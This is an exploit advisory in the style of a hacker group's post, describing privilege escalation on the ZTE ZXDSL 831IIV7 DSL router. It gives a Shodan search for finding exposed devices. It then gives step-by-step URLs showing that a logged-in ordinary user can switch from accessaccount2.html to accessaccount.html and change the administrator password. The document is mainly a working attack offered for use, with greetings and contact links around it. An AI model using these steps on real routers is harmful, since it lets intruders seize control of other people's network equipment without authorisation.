ZTE ZXDSL 831IIV7 Privilege Escalation

[حامد کیانمهر]

ZTE ZXDSL 831IIV7 Privilege Escalation


# Title : ZTE ZXDSL 831IIV7 Privilege Escalation
# Date: 2013-03-15
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Category: [webapps]
# Dork :use shodanhq [ dsl router ]
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337

# Please Like The New Fb page : https://fb.com/Th3.Black.D3Vils
-----------
Overview of Device Information
This information reflects the current status of your DSL Router.

ADSL Port Enabled

Downstream Line Rate 11998
Upstream Line Rate 985
LAN IP Address 192.168.1.1
Default Gateway
Primary DNS Server 192.168.1.1
Secondary DNS Server 192.168.1.1
Ethernet MAC Address 00:22:93:9c:66:a7
Firmware Version ZXDSL 831IIV7.5.0a_Z29_OV



--------how to exploit ----------------------

http://192.168.1.1/
login as user
then goes to this link
http://192.168.1.1/accessaccount2.html
here you'll find thta here you only you can change the password of the user change the link to

http://192.168.1.1/accessaccount.html
here you'll find how to chnage the password of the administrator

-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz
| Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
| Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
| All Dz hackerz
-----------
Contact:
# Fane Page : www.********.com/Th3.Black.D3Vils (http://www.********.com/Th3.Black.D3Vils)
# Youtube : www.youtube.com/user/Th3BlackDevils (http://www.youtube.com/user/Th3BlackDevils)
# ******** : www.********.com/DevilsDz (http://www.********.com/DevilsDz)
# Email : mr.k4rizma***********